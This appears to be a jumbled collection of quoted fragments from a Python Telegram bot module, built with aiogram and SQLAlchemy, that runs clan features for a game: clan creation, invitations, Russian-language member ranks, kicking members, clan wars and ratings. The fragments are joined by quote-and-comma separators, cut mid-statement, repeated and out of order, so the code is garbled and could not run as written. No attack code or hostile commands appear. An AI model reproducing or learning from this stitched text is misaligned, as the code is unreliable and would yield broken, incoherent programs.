read_txt_file(\"text/clan/clan_invitations\")", "read_txt_file(\"text/clan/contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) session.close() return msg_text = read_txt_file(\"text/clan/search_contest\") await clan_msg.edit_text(", "and (not replied_user.is_bot): time_set = timer.Timer.set_timer(86400) new_invitation = tables.ClanInvitation( user_id=replied_user.id, clan_id=clan_member_table.clan_id, timer=time_set )", "elif checked_clan_member.rank == \"Старейшина\": checked_clan_member.rank = \"Заместитель\" session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() await", "read_txt_file(\"text/clan/get_clan_units\") keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_get_clan_units_keyboard() sticker = read_txt_file(\"sticker/get_clan_units\") await callback.message.answer_sticker(sticker=sticker) await callback.message.answer( text=msg_text.format(townhall.country_name,", "clan_msg.message_id }) await states.Clan.set_description.set() @dp.message_handler(filters.IsReplyFilter(True), state=states.Clan.set_description) async def set_clan_description(message: types.Message, state: FSMContext): data", "await states.Clan.set_emoji.set() @dp.callback_query_handler(state=states.Clan.set_emoji) async def set_clan_emoji(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data()", "tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clan_creator: tables.User = session.db.query( tables.User).filter_by(user_id=clan_member.clan.creator).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_clan_keyboard() msg_text = read_txt_file(\"text/clan/in_clan\")", "== \"cancel_search_contest\": msg_text = read_txt_file(\"text/clan/none_contest\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboards.clan.kb_search_contest ) clan_member.clan.state = None", "import FSMContext from utils.misc.read_file import read_txt_file from utils.db_api import tables, db_api from utils.classes", "read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) session = db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() clan_member_id", "import keyboards import states import re import random from loader import dp from", "territory_units=[0, 0], territory_captures=[None, None], clans_rating=[0, 0], colors=[\"blue\", \"red\"] ) session.db.add(new_contest) msg_text = read_txt_file(\"text/clan/contest\")", "= read_txt_file(\"text/clan/member\") await clan_msg.edit_text( text=msg_text.format( checked_clan_member.user.first_name, checked_clan_member.contest_score, checked_clan_member.rank, ), reply_markup=keyboard ) elif raise_member:", "\\n\" \"Лидер: \\n\" \"Участников: \\n\" \"Осталось: \".format(clan_invitation_table.clan.name), reply_markup=keyboard ) elif accept_invitation: invitation_id =", "invited_clan_invitation_table is not None: return if (invited_clan_member_table is None) and (not replied_user.is_bot): time_set", "= read_txt_file(\"text/clan/none_contest\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboards.clan.kb_search_contest ) clan_member.clan.state = None await callback.answer() session.close()", "callback.answer(msg_text) session = db_api.CreateSession() townhall: tables.TownHall = session.db.query( tables.TownHall).filter_by(user_id=user_id).first() clan_member: tables.ClanMember = session.db.query(", "await callback.answer(\"Вы вступили в клан!\") keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") await", "callback.data == \"get_clan_units\": if clan_member.donate_timer != 0: await callback.answer(\"Станет доступно позже.\") session.close() return", "elif callback.data == \"leave_clan\": await clan_msg.edit_text( text=\"Вы уверены,\\n что хотите покинуть клан?\", reply_markup=keyboards.clan.kb_leave_clan", "msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) page_move = re.findall(r\"invitation_page_(\\d+)\", callback.data)[0] page = int(page_move)", "session.db.add(new_clan_member) session.db.commit() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clan_creator:", "хватает {} 💰\".format( 5000 - townhall.money) ) session.close() return clan_msg = await clan_msg.edit_text(", "session.close() return msg_text = read_txt_file(\"text/clan/search_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_cancel_contest ) elif clan_member.clan.state ==", "rank=rank, contest_score=0, clan_units=0, units_donate=0, donate_timer=0 ) session.db.add(new_clan_member) session.db.query(tables.ClanInvitation).filter_by( id=invitation_id).delete() session.db.commit() await callback.answer(\"Вы вступили", "не хватает {} 💰\".format( 5000 - townhall.money) ) session.close() return clan_msg = await", "clan_2.state = \"contest\" new_contest = tables.Contest( clan_id_1=clan_1.clan_id, clan_id_2=clan_2.clan_id, recent_log=[\"Война началась.\"], log=[\"Война началась.\"], state_timer=None,", "clan_member.clan.state = None await callback.answer() session.close() @dp.message_handler(filters.IsReplyFilter(True), state=states.Clan.set_name) async def set_clan_name(message: types.Message, state:", "clan_msg.edit_text( text=msg_text.format(text), reply_markup=keyboards.clan.kb_back ) elif callback.data == \"clan_invitation\": keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text", "msg_text = read_txt_file(\"text/clan/destroyed_clan\") await message.answer( text=msg_text, ) session.close() return if clan_member is None:", "clan_member_id: member_id = int(clan_member_id[0]) checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).join(tables.User).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_member_keyboard(member_id,", "state.update_data({ \"clan_members_msg\": clan_members_msg }) elif callback.data == \"clan_settings\": await callback.answer(\"В разработке...\") await callback.answer()", "(not replied_user.is_bot): time_set = timer.Timer.set_timer(86400) new_invitation = tables.ClanInvitation( user_id=replied_user.id, clan_id=clan_member_table.clan_id, timer=time_set ) session.db.add(new_invitation)", "async def set_clan_emoji(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id", "reply_markup=keyboard ) await state.update_data({ \"user_id\": user_id, \"clan_msg\": clan_msg }) session.close() @dp.callback_query_handler(regexp=ClanRegexp.back) async def", "utils.classes import kb_constructor, timer from sqlalchemy import desc, and_ from utils.classes.regexps import ClanRegexp", "user_id = callback.from_user.id clan_msg: types.Message = data.get(\"clan_msg\") if data.get(\"user_id\") != user_id: msg_text =", "<code>{}</code> ⭐ ]\\n\".format(clan_num, clan.name, clan.rating) clan_num += 1 msg_text = read_txt_file(\"text/clan/rating\") await clan_msg.edit_text(", ") clan_member.clan.state = None await callback.answer() session.close() @dp.message_handler(filters.IsReplyFilter(True), state=states.Clan.set_name) async def set_clan_name(message: types.Message,", "await state.get_data() if message.reply_to_message.message_id == data.get(\"message_id\"): clan_name = message.text[:16] clan_msg = await message.reply(", "session.close() @dp.callback_query_handler(regexp=ClanRegexp.back) async def clan_back_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id", "await callback.answer(msg_text) session = db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() clan_members: typing.List[tables.ClanMember] =", "💰\".format( 5000 - townhall.money) ) session.close() return clan_msg = await clan_msg.edit_text( text=\"Придумайте <b>название</b>", "await callback.message.answer( text=msg_text.format( clan.emoji, clan.name, clan.description[:21], clan.rating, len(clan_members), clan_creator.first_name, clan_member.rank), reply_markup=keyboard ) await", "tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_invitation_keyboard(invitation_id=invitation_id) await clan_msg.edit_text( text=\"{}\\n\\n\" \"Рейтинг: \\n\" \"Лидер: \\n\" \"Участников:", "state.update_data({ \"user_id\": user_id, \"clan_msg\": clan_msg }) session.close() @dp.callback_query_handler(regexp=ClanRegexp.back) async def clan_back_handler(callback: types.CallbackQuery, state:", "session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard )", "from utils.db_api import tables, db_api from utils.classes import kb_constructor, timer from sqlalchemy import", "data.get(\"clan_msg\") if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) await clan_msg.edit_text(", "clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) elif cancel_invitation: invitation_id = int(cancel_invitation[0]) session.db.query(tables.ClanInvitation).filter_by( id=invitation_id).delete() session.db.commit() keyboard", "def clan_back_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id clan_msg:", "\"🔱\" ] session = db_api.CreateSession() if callback.data in emojis: set_emoji_msg: types.Message = data.get(\"set_emoji_msg\")", "clan_msg = await callback.message.answer( text=msg_text.format( clan.emoji, clan.name, clan.description[:21], clan.rating, len(clan_members), clan_creator.first_name, clan_member.rank), reply_markup=keyboard", "session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() await clan_msg.edit_text( text=clan_members_msg.html_text, reply_markup=keyboard ) elif kick_member: member_id", "data = await state.get_data() user_id = callback.from_user.id if data.get(\"user_id\") != user_id: msg_text =", "set_emoji_msg = await message.answer( text=\"Выберите <b>логотип</b> вашего клана.\", reply_markup=keyboard ) await state.update_data({ \"set_emoji_msg\":", "= await state.get_data() user_id = message.from_user.id if message.reply_to_message.message_id == data.get(\"message_id\"): clan_description = message.text[:21]", "\\n\" \"Осталось: \".format(clan_invitation_table.clan.name), reply_markup=keyboard ) elif accept_invitation: invitation_id = int(accept_invitation[0]) clan_invitation_table: tables.ClanInvitation =", "session.close() @dp.message_handler(filters.IsReplyFilter(True), regexp=ClanRegexp.invite, state=\"*\") async def invite_user_clan_handler(message: types.Message): user_id = message.from_user.id replied_user =", "= callback.from_user.id clan_msg: types.Message = data.get(\"clan_msg\") clan_members_msg: types.Message = data.get(\"clan_members_msg\") if data.get(\"user_id\") !=", "text=msg_text.format(townhall.country_name, callback.from_user.get_mention()), reply_markup=keyboard ) clan_member.donate_timer = timer.Timer.set_timer(28800) session.db.commit() await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.member) async", "= read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) await clan_msg.edit_text( text=clan_msg.html_text, reply_markup=clan_msg.reply_markup, ) await callback.answer() @dp.callback_query_handler(regexp=ClanRegexp.without_clan)", "await state.update_data({ \"set_emoji_msg\": set_emoji_msg }) await states.Clan.set_emoji.set() @dp.callback_query_handler(state=states.Clan.set_emoji) async def set_clan_emoji(callback: types.CallbackQuery, state:", "if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) page_move = re.findall(r\"invitation_page_(\\d+)\",", "= session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clan_creator: tables.User = session.db.query( tables.User).filter_by(user_id=clan_member.clan.creator).first() keyboard = kb_constructor.StandardKeyboard(user_id=user_id).create_clan_keyboard() msg_text =", "if clan_member.donate_timer != 0: await callback.answer(\"Станет доступно позже.\") session.close() return msg_text = read_txt_file(\"text/clan/get_clan_units\")", "= \"contest\" new_contest = tables.Contest( clan_id_1=clan_1.clan_id, clan_id_2=clan_2.clan_id, recent_log=[\"Война началась.\"], log=[\"Война началась.\"], state_timer=None, territory_names=[\"Russia\",", "keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() msg_text = read_txt_file(\"text/clan/members\") clan_members_msg = await clan_msg.edit_text( text=msg_text.format( clan_member.clan.name,", "sticker = read_txt_file(\"sticker/sad_knight\") await message.answer_sticker(sticker=sticker) msg_text = read_txt_file(\"text/clan/destroyed_clan\") await message.answer( text=msg_text, ) session.close()", "keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_member_keyboard(member_id, clan_member) msg_text = read_txt_file(\"text/clan/member\") await clan_msg.edit_text( text=msg_text.format( checked_clan_member.user.first_name, checked_clan_member.contest_score,", "territory_names=[\"Russia\", \"Germany\"], territory_owners=[None, None], territory_units=[0, 0], territory_captures=[None, None], clans_rating=[0, 0], colors=[\"blue\", \"red\"] )", "read_txt_file(\"text/clan/without_clan\") clan_msg = await message.answer( text=msg_text, reply_markup=keyboards.clan.kb_none_clan ) await state.update_data({ \"user_id\": user_id, \"clan_msg\":", "data.get(\"set_emoji_msg\") await set_emoji_msg.delete() clan_name = data.get(\"clan_name\") clan_description = data.get(\"clan_description\") clan_emoji = callback.data new_clan", "return if clan_member_table.rank in (\"Лидер\", \"Заместитель\", \"Старейшина\"): invited_clan_member_table: tables.ClanMember = session.filter_by_user_id( user_id=replied_user.id, table=tables.ClanMember", "re.findall(r\"cancel_invitation_(\\d+)\", callback.data) session = db_api.CreateSession() if invitation: invitation_id = int(invitation[0]) clan_invitation_table: tables.ClanInvitation =", "1 msg_text = read_txt_file(\"text/clan/rating\") await clan_msg.edit_text( text=msg_text.format(text), reply_markup=keyboards.clan.kb_back ) elif callback.data == \"clan_invitation\":", "\"Лидер\"): if checked_clan_member.rank == \"Рекрут\": checked_clan_member.rank = \"Старейшина\" elif checked_clan_member.rank == \"Старейшина\": checked_clan_member.rank", "set_clan_emoji(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id emojis =", "@dp.message_handler(filters.IsReplyFilter(True), state=states.Clan.set_description) async def set_clan_description(message: types.Message, state: FSMContext): data = await state.get_data() user_id", "kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() await clan_msg.edit_text( text=clan_members_msg.html_text, reply_markup=keyboard ) elif callback.data == \"leave_clan\": await clan_msg.edit_text(", "clan_member.clan clan_2: tables.Clan = random.choice(clans_search) clan_1.state = \"contest\" clan_2.state = \"contest\" new_contest =", "clan_member.rank in (\"Заместитель\", \"Лидер\"): if checked_clan_member.rank != \"Лидер\" and clan_member.rank != checked_clan_member.rank: session.db.query(", "message.answer( text=msg_text, reply_markup=keyboards.clan.kb_none_clan ) await state.update_data({ \"user_id\": user_id, \"clan_msg\": clan_msg }) session.close() return", "kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") clan_invitation_msg = await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) await", "callback.data == \"clan_war\": if clan_member.clan.state == \"search\": if clans_search: clan_1: tables.Clan = clan_member.clan", "text=clan_members_msg.html_text, reply_markup=keyboard ) elif callback.data == \"leave_clan\": await clan_msg.edit_text( text=\"Вы уверены,\\n что хотите", "import types from aiogram.dispatcher import filters from aiogram import exceptions from aiogram.dispatcher import", "0], territory_captures=[None, None], clans_rating=[0, 0], colors=[\"blue\", \"red\"] ) session.db.add(new_contest) msg_text = read_txt_file(\"text/clan/contest\") await", "FSMContext): data = await state.get_data() if message.reply_to_message.message_id == data.get(\"message_id\"): clan_name = message.text[:16] clan_msg", "= data.get(\"clan_msg\") if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) page_move", "reply_markup=keyboard ) await state.update_data({ \"set_emoji_msg\": set_emoji_msg }) await states.Clan.set_emoji.set() @dp.callback_query_handler(state=states.Clan.set_emoji) async def set_clan_emoji(callback:", "\"search\": if clans_search: clan_1: tables.Clan = clan_member.clan clan_2: tables.Clan = random.choice(clans_search) clan_1.state =", "checked_clan_member.rank: session.db.query( tables.ClanMember).filter_by(id=member_id).delete() session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() await clan_msg.edit_text( text=clan_members_msg.html_text, reply_markup=keyboard )", "!= user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) session = db_api.CreateSession() clan_member: tables.ClanMember", "callback.data == \"cancel_search_contest\": msg_text = read_txt_file(\"text/clan/none_contest\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboards.clan.kb_search_contest ) clan_member.clan.state =", "await clan_msg.edit_text( text=clan_members_msg.html_text, reply_markup=keyboard ) elif callback.data == \"leave_clan\": await clan_msg.edit_text( text=\"Вы уверены,\\n", "if clan is not None: new_clan_member = tables.ClanMember( clan_id=clan.clan_id, user_id=user_id, clan_units=0, rank=\"Лидер\" )", "elif callback.data == \"clan_invitation\": keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") clan_invitation_msg =", "\"🍩\", \"🌶\", \"💩\", \"💧\", \"🌈\", \"🌞\", \"🌻\", \"🌹\", \"☠\", \"🥀\", \"🦄\", \"🐙\", \"🎃\",", "позже.\") session.close() return msg_text = read_txt_file(\"text/clan/get_clan_units\") keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_get_clan_units_keyboard() sticker = read_txt_file(\"sticker/get_clan_units\")", ") clan_member.donate_timer = timer.Timer.set_timer(28800) session.db.commit() await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.member) async def clan_members_handler(callback: types.CallbackQuery,", "await callback.answer() @dp.callback_query_handler(regexp=ClanRegexp.without_clan) async def none_clan_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data()", "= re.findall(r\"accept_invitation_(\\d+)\", callback.data) cancel_invitation = re.findall(r\"cancel_invitation_(\\d+)\", callback.data) session = db_api.CreateSession() if invitation: invitation_id", "session.db.query( tables.ClanMember).filter_by(id=member_id).join(tables.User).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_member_keyboard(member_id, clan_member) msg_text = read_txt_file(\"text/clan/member\") await clan_msg.edit_text( text=msg_text.format(", "\"red\"] ) session.db.add(new_contest) msg_text = read_txt_file(\"text/clan/contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) session.close() return", "int(invitation[0]) clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_invitation_keyboard(invitation_id=invitation_id) await clan_msg.edit_text( text=\"{}\\n\\n\"", "elif callback.data == \"yes_leave_clan\": session.db.query( tables.ClanMember).filter_by(user_id=user_id).delete() session.db.commit() await clan_msg.edit_text( text=\"Клан\", reply_markup=keyboards.clan.kb_none_clan ) elif", "= session.db.query( tables.ClanMember).filter_by(id=member_id).first() if clan_member.rank in (\"Заместитель\", \"Лидер\"): if checked_clan_member.rank != \"Лидер\" and", "callback.data) accept_invitation = re.findall(r\"accept_invitation_(\\d+)\", callback.data) cancel_invitation = re.findall(r\"cancel_invitation_(\\d+)\", callback.data) session = db_api.CreateSession() if", "== \"Старейшина\": checked_clan_member.rank = \"Заместитель\" session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() await clan_msg.edit_text( text=clan_members_msg.html_text,", "reply_markup=clan_msg.reply_markup, ) await callback.answer() @dp.callback_query_handler(regexp=ClanRegexp.without_clan) async def none_clan_handler(callback: types.CallbackQuery, state: FSMContext): data =", "clan_msg.edit_text( text=msg_text.format( clan_member.clan.name, clan_member.clan.description[:21], len(clan_members), ), reply_markup=keyboard ) await state.update_data({ \"clan_members_msg\": clan_members_msg })", "clan_id_1=clan_1.clan_id, clan_id_2=clan_2.clan_id, recent_log=[\"Война началась.\"], log=[\"Война началась.\"], state_timer=None, territory_names=[\"Russia\", \"Germany\"], territory_owners=[None, None], territory_units=[0, 0],", "callback.from_user.id clan_msg: types.Message = data.get(\"clan_msg\") if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return", "elif callback.data == \"clans_rating\": clan_table: typing.List[tables.Clan] = session.db.query( tables.Clan).order_by(desc(tables.Clan.rating)).all() text = \"\" clan_num", "FSMContext): data = await state.get_data() user_id = message.from_user.id if message.reply_to_message.message_id == data.get(\"message_id\"): clan_description", "read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) page_move = re.findall(r\"invitation_page_(\\d+)\", callback.data)[0] page = int(page_move) keyboard =", "await callback.answer(msg_text) await clan_msg.edit_text( text=clan_msg.html_text, reply_markup=clan_msg.reply_markup, ) await callback.answer() @dp.callback_query_handler(regexp=ClanRegexp.without_clan) async def none_clan_handler(callback:", "aiogram import types from aiogram.dispatcher import filters from aiogram import exceptions from aiogram.dispatcher", "session.db.query( tables.ClanMember).filter_by(id=member_id).first() if clan_member.rank in (\"Заместитель\", \"Лидер\"): if checked_clan_member.rank != \"Лидер\" and clan_member.rank", "elif cancel_invitation: invitation_id = int(cancel_invitation[0]) session.db.query(tables.ClanInvitation).filter_by( id=invitation_id).delete() session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text", "data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) await clan_msg.edit_text( text=clan_msg.html_text, reply_markup=clan_msg.reply_markup,", "await state.update_data({ \"clan_members_msg\": clan_members_msg }) elif callback.data == \"clan_settings\": await callback.answer(\"В разработке...\") await", "typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clan_creator: tables.User = session.db.query( tables.User).filter_by(user_id=clan_member.clan.creator).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_clan_keyboard()", "keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_clan_keyboard() msg_text = read_txt_file(\"text/clan/in_clan\") clan_msg = await callback.message.answer( text=msg_text.format( clan.emoji,", "msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) elif cancel_invitation: invitation_id = int(cancel_invitation[0])", "!= user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) session = db_api.CreateSession() townhall: tables.TownHall", "@dp.message_handler(filters.IsReplyFilter(True), regexp=ClanRegexp.invite, state=\"*\") async def invite_user_clan_handler(message: types.Message): user_id = message.from_user.id replied_user = message.reply_to_message.from_user", "read_txt_file(\"text/clan/contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) elif clan_member.clan.state == \"ending\": msg_text = read_txt_file(\"text/clan/ending_contest\")", "clan_id=clan_invitation_table.clan_id, user_id=user_id, rank=rank, contest_score=0, clan_units=0, units_donate=0, donate_timer=0 ) session.db.add(new_clan_member) session.db.query(tables.ClanInvitation).filter_by( id=invitation_id).delete() session.db.commit() await", "= await callback.message.answer( text=msg_text.format( clan.emoji, clan.name, clan.description[:21], clan.rating, len(clan_members), clan_creator.first_name, clan_member.rank), reply_markup=keyboard )", "keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() await clan_msg.edit_text( text=clan_members_msg.html_text, reply_markup=keyboard ) elif callback.data == \"leave_clan\":", "clan_msg }) session.close() @dp.callback_query_handler(regexp=ClanRegexp.back) async def clan_back_handler(callback: types.CallbackQuery, state: FSMContext): data = await", "\"clan_members\": keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() msg_text = read_txt_file(\"text/clan/members\") clan_members_msg = await clan_msg.edit_text( text=msg_text.format(", "session.db.query( tables.ClanMember).filter_by(id=member_id).first() if clan_member.rank in (\"Заместитель\", \"Лидер\"): if checked_clan_member.rank == \"Рекрут\": checked_clan_member.rank =", "await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.get_clan_units) async def clan_getting_units_handler(callback: types.CallbackQuery, state: FSMContext): data = await", "= kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() msg_text = read_txt_file(\"text/clan/members\") clan_members_msg = await clan_msg.edit_text( text=msg_text.format( clan_member.clan.name, clan_member.clan.description[:21],", "= kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() await clan_msg.edit_text( text=clan_members_msg.html_text, reply_markup=keyboard ) elif callback.data == \"leave_clan\": await", "tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).first() if clan_member.rank in (\"Заместитель\", \"Лидер\"): if checked_clan_member.rank == \"Рекрут\":", "tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() if callback.data == \"start_search_contest\": msg_text = read_txt_file(\"text/clan/search_contest\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboards.clan.kb_cancel_contest )", "states import re import random from loader import dp from aiogram import types", "= kb_constructor.StandardKeyboard( user_id=user_id).create_invitation_keyboard(invitation_id=invitation_id) await clan_msg.edit_text( text=\"{}\\n\\n\" \"Рейтинг: \\n\" \"Лидер: \\n\" \"Участников: \\n\" \"Осталось:", "sticker = read_txt_file(\"sticker/get_clan_units\") await callback.message.answer_sticker(sticker=sticker) await callback.message.answer( text=msg_text.format(townhall.country_name, callback.from_user.get_mention()), reply_markup=keyboard ) clan_member.donate_timer =", "= kb_constructor.StandardKeyboard( user_id=user_id).create_get_clan_units_keyboard() sticker = read_txt_file(\"sticker/get_clan_units\") await callback.message.answer_sticker(sticker=sticker) await callback.message.answer( text=msg_text.format(townhall.country_name, callback.from_user.get_mention()), reply_markup=keyboard", "= re.findall(r\"invitation_page_(\\d+)\", callback.data)[0] page = int(page_move) keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard(page) try: msg_text =", "\"yes_leave_clan\": session.db.query( tables.ClanMember).filter_by(user_id=user_id).delete() session.db.commit() await clan_msg.edit_text( text=\"Клан\", reply_markup=keyboards.clan.kb_none_clan ) elif callback.data == \"no_leave_clan\":", "db_api.CreateSession() clan_member_table: tables.ClanMember = session.filter_by_user_id( user_id=user_id, table=tables.ClanMember ) if clan_member_table is None: return", "clan_msg.edit_text( text=msg_text, reply_markup=keyboards.clan.kb_search_contest ) clan_member.clan.state = None await callback.answer() session.close() @dp.message_handler(filters.IsReplyFilter(True), state=states.Clan.set_name) async", "msg_text = read_txt_file(\"text/clan/rating\") await clan_msg.edit_text( text=msg_text.format(text), reply_markup=keyboards.clan.kb_back ) elif callback.data == \"clan_invitation\": keyboard", "return await callback.answer(msg_text) session = db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() clan_member_id =", "5000 else: await callback.answer( \"Для создания клана не хватает {} 💰\".format( 5000 -", "== data.get(\"message_id\"): clan_name = message.text[:16] clan_msg = await message.reply( text=\"Придумайте <b>описание</b> для \\n\"", "contest_score=0, clan_units=0, units_donate=0, donate_timer=0 ) session.db.add(new_clan_member) session.db.query(tables.ClanInvitation).filter_by( id=invitation_id).delete() session.db.commit() await callback.answer(\"Вы вступили в", "session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() await clan_msg.edit_text( text=clan_members_msg.html_text, reply_markup=keyboard ) elif callback.data ==", "invited_clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by( clan_id=clan_member_table.clan_id, user_id=replied_user.id).first() if invited_user_table is None or invited_clan_invitation_table", "tables.Clan).filter_by(creator=user_id).first() if clan is not None: new_clan_member = tables.ClanMember( clan_id=clan.clan_id, user_id=user_id, clan_units=0, rank=\"Лидер\"", "clan_member.rank), reply_markup=keyboard ) await state.update_data({ \"user_id\": user_id, \"clan_msg\": clan_msg }) session.close() @dp.callback_query_handler(regexp=ClanRegexp.back) async", "}) await states.Clan.set_name.set() elif callback.data == \"clans_rating\": clan_table: typing.List[tables.Clan] = session.db.query( tables.Clan).order_by(desc(tables.Clan.rating)).all() text", "session.filter_by_user_id( user_id=replied_user.id, table=tables.ClanMember ) invited_user_table: tables.User = session.filter_by_user_id( user_id=replied_user.id, table=tables.User) invited_clan_invitation_table: tables.ClanInvitation =", "text=msg_text, reply_markup=keyboards.clan.kb_none_clan ) await state.update_data({ \"user_id\": user_id, \"clan_msg\": clan_msg }) session.close() return clan_members:", "rank = \"Лидер\" else: rank = \"Рекрут\" new_clan_member = tables.ClanMember( clan_id=clan_invitation_table.clan_id, user_id=user_id, rank=rank,", "elif accept_invitation: invitation_id = int(accept_invitation[0]) clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first() if clan_invitation_table.clan.creator ==", "user_id, \"clan_msg\": clan_msg }) session.close() return clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clan_creator: tables.User", "session = db_api.CreateSession() if invitation: invitation_id = int(invitation[0]) clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first()", "clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() clan_member_id = re.findall(r\"check_clan_member_(\\d+)\", callback.data) raise_member = re.findall(r\"raise_clan_member_(\\d+)\", callback.data)", "callback.data == \"no_leave_clan\": await clan_msg.edit_text( text=clan_msg.html_text, reply_markup=clan_msg.reply_markup ) await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.contest) async", "await callback.answer(msg_text) session = db_api.CreateSession() townhall: tables.TownHall = session.db.query( tables.TownHall).filter_by(user_id=user_id).first() clan_member: tables.ClanMember =", "return await callback.answer(msg_text) session = db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() if callback.data", "message.from_user.id session = db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() buildings: tables.Buildings = session.db.query(", "}) await states.Clan.set_emoji.set() @dp.callback_query_handler(state=states.Clan.set_emoji) async def set_clan_emoji(callback: types.CallbackQuery, state: FSMContext): data = await", "None: return if (invited_clan_member_table is None) and (not replied_user.is_bot): time_set = timer.Timer.set_timer(86400) new_invitation", "msg_text = read_txt_file(\"text/clan/contest\") await 